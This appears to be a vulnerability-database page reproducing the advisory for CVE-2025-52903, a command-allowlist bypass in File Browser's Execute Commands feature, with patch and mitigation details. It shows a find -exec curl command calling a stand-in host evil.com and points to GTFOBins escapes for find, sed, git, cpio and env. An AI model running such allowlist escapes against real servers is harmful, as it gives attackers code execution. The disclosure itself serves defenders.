CVE-2025-52903 is a high-severity (CVSS 8) CWE-77 vulnerability in github.com/filebrowser/filebrowser/v2. A fix is available for github.com/filebrowser/filebrowser/v2 — see the affected versions and patch details below.
File Browser Allows Execution of Shell Commands That Can Spawn Other Commands
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2025-52903.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/filebrowser/filebrowser/v2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
[!NOTE] This feature has been disabled by default for all installations from v2.33.8 onwards, including for existent installations. To exploit this vulnerability, the instance administrator must turn on a feature and ignore all the warnings about known vulnerabilities. We're publishing this new advisory to make it clear that all vulnerabilities concerning this feature are disclosed.
For more information about tracking vulnerability issues related to the Command Execution features, check https://github.com/filebrowser/filebrowser/issues/5199.
Summary
The Command Execution feature of File Browser only allows the execution of shell command which have been predefined on a user-specific allowlist. Many tools allow the execution of arbitrary different commands, rendering this limitation void.
Impact
The concrete impact depends on the commands being granted to the attacker, but the large number of standard commands allowing the execution of subcommands makes it likely that every user having the Execute commands permissions can exploit this vulnerability. Everyone who can exploit it will have full code execution rights with the uid of the server process.
Vulnerability Description
Many Linux commands allow the execution of arbitrary different commands. For example, if a user is authorized to run only the find command and nothing else, this restriction can be circumvented by using the -exec flag.
Some common commands having the ability to launch external commands and which are included in the official container image of Filebrowser are listed below. The website https://gtfobins.github.io gives a comprehensive overview:
- https://gtfobins.github.io/gtfobins/cpio
- https://gtfobins.github.io/gtfobins/find
- https://gtfobins.github.io/gtfobins/sed
- https://gtfobins.github.io/gtfobins/git
- https://gtfobins.github.io/gtfobins/env
As a prerequisite, an attacker needs an account with the Execute Commands permission and some permitted commands.
Proof of Concept
The following screenshot demonstrates, how this can be used to issue a network call to an external server:
Recommended Countermeasures
Until this issue is fixed, we recommend to completely disable Execute commands for all accounts. Since the command execution is an inherently dangerous feature that is not used by all deployments, it should be possible to completely disable it in the application's configuration.
The prlimit command can be used to prevent the execution of subcommands:
$ find . -exec curl http://evil.com {} \;
<HTML>
<HEAD>
[...]
$ prlimit --nproc=0 find . -exec curl http://evil.com {} \;
find: cannot fork: Resource temporarily unavailable
It should be prepended to any command executed in the context of the application. prlimit can be used for containerized deployments as well as for bare-metal ones.
WARNING: Note that this does prevent any unexpected behavior from the authorized command. For example, the find command can also delete files directly via its -delete flag.
As a defense-in-depth measure, Filebrowser should provide an additional container image based on a distroless base image.
Timeline
2025-03-26Identified the vulnerability in version 2.32.02025-06-25Uploaded advisories to the project's GitHub repository2025-06-25CVE ID assigned by GitHub2025-06-25A patch version has been pushed to disable the feature for all existent installations, and making it opt-in. A warning has been added to the documentation and is printed on the console if the feature is enabled. Due to the project being in maintenance-only mode, the bug has not been fixed. Fix is tracked on https://github.com/filebrowser/filebrowser/issues/5199.
References
Credits
- Mathias Tausig (SBA Research)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/filebrowser/filebrowser/v2 | all versions | 2.33.10go get github.com/filebrowser/filebrowser/v2@v2.33.10 |
Affected Products
filebrowserfilebrowserDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/filebrowser/filebrowser/v2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/filebrowser/filebrowser/v2 to 2.33.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-52903 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is CVE-2025-52903 in your dependencies?
Find it across Go, including transitive dependencies.